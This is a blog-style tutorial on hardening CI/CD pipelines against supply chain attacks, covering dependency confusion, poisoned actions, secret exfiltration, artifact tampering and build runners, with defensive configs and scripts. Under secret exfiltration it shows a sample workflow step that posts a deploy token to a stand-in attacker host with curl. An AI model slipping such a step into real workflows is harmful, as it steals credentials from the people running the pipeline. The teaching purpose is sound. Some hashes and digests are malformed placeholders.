Hardening Your CI/CD Pipeline Against Supply Chain Attacks in 2026
Supply chain attacks on CI/CD pipelines increased 740% between 2023 and 2025. The SolarWinds breach was just the beginning — attackers now routinely target build systems because a single compromised pipeline can poison every deployment downstream.
This guide covers practical, battle-tested techniques for hardening CI/CD pipelines, with working examples for GitHub Actions, GitLab CI, and Semaphore.
Why CI/CD Pipelines Are the #1 Target
Your CI/CD pipeline has:
- Write access to production — it deploys code
- Secrets everywhere — API keys, cloud credentials, signing keys
- Broad trust — it runs code from every contributor
- Minimal monitoring — most teams audit prod, not CI
A compromised pipeline is game over. Let's fix that.
Attack Vector 1: Dependency Confusion
An attacker publishes a malicious package with the same name as your internal package to a public registry. Your build system pulls the public version instead.
The Attack
# Your internal package.json references "@mycompany/utils"
# Attacker publishes "@mycompany/utils" on npm public registry
# npm install pulls the public version (higher version number wins)
The Defense
Lock your registries explicitly:
# .npmrc — force internal packages to use your registry
@mycompany:registry=https://npm.mycompany.com/
# Pin the public registry for everything else
registry=https://registry.npmjs.org/
Verify package integrity in CI:
# GitHub Actions
- name: Verify dependency integrity
run: |
npm ci --ignore-scripts # Install without running scripts
npm audit signatures # Verify npm provenance signatures
# Check for unexpected registry sources
npm ls --all --json | jq -r '.. | .resolved? // empty' | \
grep -v "registry.npmjs.org" | \
grep -v "npm.mycompany.com" && \
echo "ERROR: Unexpected package source detected!" && exit 1
For Python, use hash pinning:
# requirements.txt with hashes
requests==2.31.0 \
--hash=sha256:942c5a758f98d790eaed1a29cb6eefc7f0edf3fcb0fce8afe0f44fa6867baa0 \
--hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003e
# Semaphore CI
blocks:
- name: "Install with integrity check"
task:
jobs:
- name: verify-deps
commands:
- pip install --require-hashes -r requirements.txt
- pip-audit # Check for known vulnerabilities
Attack Vector 2: Poisoned GitHub Actions
Third-party actions run arbitrary code in your workflow. A compromised action can exfiltrate secrets, modify build artifacts, or inject backdoors.
The Attack
# DANGEROUS: Using a tag that can be force-pushed
- uses: some-org/some-action@v2 # This tag could change tomorrow
# An attacker who gains access to the action repo can:
# 1. Push malicious code to the v2 tag
# 2. Your next CI run executes the malicious code
# 3. All your secrets are exfiltrated
The Defense
Pin actions to commit SHAs:
# SAFE: Pin to exact commit hash
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@8f152de45cc393bb48ce5d89d36b731f54556e65 # v4.0.0
Automate SHA pinning with Dependabot:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Dependabot will pin to SHAs and create PRs for updates
Restrict action permissions:
# Minimal permissions per workflow
permissions:
contents: read # Only read the repo
packages: write # Only if publishing packages
# NEVER use permissions: write-all
Audit third-party actions before use:
#!/bin/bash
# audit-actions.sh — Check all actions used in workflows
for workflow in .github/workflows/*.yml; do
echo "=== $workflow ==="
grep -E "uses: " "$workflow" | while read -r line; do
action=$(echo "$line" | grep -oP 'uses: \K[^@]+')
ref=$(echo "$line" | grep -oP '@\K.*')
# Check if pinned to SHA
if [[ ! "$ref" =~ ^[a-f0-9]{40}$ ]]; then
echo " WARNING: $action@$ref is NOT pinned to a SHA"
fi
# Check if action is from a verified org
org=$(echo "$action" | cut -d/ -f1)
case "$org" in
actions|github|docker) echo " OK: $action (official)" ;;
*) echo " REVIEW: $action (third-party)" ;;
esac
done
done
Attack Vector 3: Secret Exfiltration via Build Logs
Secrets can leak through build output, error messages, or intentionally crafted commands.
The Attack
# A malicious PR could include:
- run: |
# Looks innocent but exfiltrates secrets
curl -X POST https://attacker.com/collect \
-d "token=${{ secrets.DEPLOY_TOKEN }}" \
2>&1 | head -1 # Suppress curl output
The Defense
Use OIDC tokens instead of long-lived secrets:
# GitHub Actions with AWS OIDC — no stored secrets
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789:role/ci-deploy
aws-region: us-east-1
# No AWS_ACCESS_KEY_ID or SECRET stored anywhere!
Restrict secrets from PR workflows:
# Only allow secrets in protected branch workflows
on:
push:
branches: [main] # Secrets available
pull_request: # Secrets NOT available (default for forks)
Implement egress filtering:
# Semaphore CI — block outbound connections except allowed hosts
blocks:
- name: "Build with network restrictions"
task:
env_vars:
- name: ALLOWED_HOSTS
value: "registry.npmjs.org,api.github.com"
jobs:
- name: build
commands:
# Set up iptables to block unauthorized outbound
- |
sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP
for host in $(echo $ALLOWED_HOSTS | tr ',' '\n'); do
ip=$(dig +short $host | head -1)
sudo iptables -I OUTPUT -p tcp -d $ip --dport 443 -j ACCEPT
done
- npm ci
- npm run build
Attack Vector 4: Build Artifact Tampering
An attacker modifies build artifacts between the build step and deployment.
The Defense: Artifact Signing with Cosign
# GitHub Actions — sign and verify build artifacts
- name: Build
run: docker build -t myapp:${{ github.sha }} .
- name: Sign artifact
env:
COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_KEY }}
run: |
cosign sign --key env://COSIGN_PRIVATE_KEY \
myregistry.com/myapp:${{ github.sha }}
# In your deployment pipeline:
- name: Verify before deploy
run: |
cosign verify --key cosign.pub \
myregistry.com/myapp:${{ github.sha }} || \
(echo "SIGNATURE VERIFICATION FAILED" && exit 1)
SLSA Build Provenance
Generate verifiable build provenance that proves where and how your artifacts were built:
# GitHub Actions with SLSA provenance
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.1.0
with:
image: myregistry.com/myapp
digest: ${{ steps.build.outputs.digest }}
permissions:
id-token: write
contents: read
actions: read
packages: write
Attack Vector 5: Compromised Build Environment
The build runner itself could be compromised — cached data from previous builds, pre-installed malware, or tampered base images.
The Defense
Use ephemeral runners:
# GitHub Actions — self-hosted runners with ephemeral mode
# runners.yml
runners:
- name: ephemeral-builder
image: ubuntu:22.04
ephemeral: true # Destroyed after each job
# Fresh environment every time — no persistence between builds
Verify base images:
# Pin base images by digest, not tag
FROM node:20@sha256:a4d1de4c5c8e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e9a7a4e7c4e
# Verify in CI
- name: Verify base image
run: |
expected="sha256:a4d1de4c5..."
actual=$(docker inspect --format='{{index .RepoDigests 0}}' node:20)
[ "$actual" = "docker.io/library/node@$expected" ] || exit 1
The Complete Pipeline Hardening Checklist
# .github/workflows/hardened-build.yml
name: Hardened Build Pipeline
on:
push:
branches: [main]
# Minimal permissions
permissions:
contents: read
id-token: write
packages: write
jobs:
build:
runs-on: ubuntu-latest
timeout-minutes: 15 # Kill hung builds
steps:
# 1. Pin all actions to SHAs
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
with:
persist-credentials: false # Don't leave git credentials around
# 2. Verify dependencies
- name: Install with integrity check
run: |
npm ci --ignore-scripts
npm audit signatures
npm audit --audit-level=high
# 3. Build in restricted environment
- name: Build
env:
NODE_ENV: production
run: |
npm run build
# Generate SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# 4. Sign artifacts
- name: Sign with Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da
- run: cosign sign-blob --yes --output-signature dist.sig dist/
# 5. Generate SLSA provenance
- name: Generate provenance
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0
with:
base64-subjects: ${{ steps.hash.outputs.hashes }}
Monitoring: Catch What Prevention Misses
Even with hardening, you need detection:
# ci_monitor.py — Alert on suspicious CI activity
import json
import requests
from datetime import datetime, timedelta
def check_workflow_anomalies(repo: str, token: str):
"""Detect suspicious CI patterns."""
headers = {"Authorization": f"token {token}"}
# Get recent workflow runs
url = f"https://api.github.com/repos/{repo}/actions/runs"
runs = requests.get(url, headers=headers).json()["workflow_runs"]
alerts = []
for run in runs:
# Alert 1: Workflow modified and run on same commit
if run["event"] == "push":
files_url = f"https://api.github.com/repos/{repo}/commits/{run['head_sha']}"
files = requests.get(files_url, headers=headers).json().get("files", [])
workflow_modified = any(
f["filename"].startswith(".github/workflows/")
for f in files
)
if workflow_modified:
alerts.append(f"ALERT: Workflow modified in {run['head_sha'][:8]}")
# Alert 2: Unusual run duration (potential cryptomining)
if run["status"] == "completed":
start = datetime.fromisoformat(run["created_at"].replace("Z", "+00:00"))
end = datetime.fromisoformat(run["updated_at"].replace("Z", "+00:00"))
duration = (end - start).total_seconds()
if duration > 3600: # > 1 hour
alerts.append(f"ALERT: Long run ({duration}s): {run['name']}")
# Alert 3: Failed then immediately re-run (brute force attempt)
if run["conclusion"] == "failure" and run["run_attempt"] > 3:
alerts.append(f"ALERT: Multiple retries: {run['name']} (attempt {run['run_attempt']})")
return alerts
Key Takeaways
| Attack Vector | Primary Defense | Detection |
|---|---|---|
| Dependency confusion | Registry scoping + hash pinning | Audit unexpected sources |
| Poisoned actions | SHA pinning + Dependabot | Monitor action references |
| Secret exfiltration | OIDC + egress filtering | Log outbound connections |
| Artifact tampering | Cosign signing + SLSA provenance | Verify before deploy |
| Compromised runners | Ephemeral instances + image pinning | Duration anomaly alerts |
The most impactful single change: Switch from long-lived secrets to OIDC federation. This eliminates the entire class of secret exfiltration attacks while requiring minimal workflow changes.
Based on hands-on experience hardening production CI/CD pipelines and security audits of major ML framework build systems.
Top comments (0)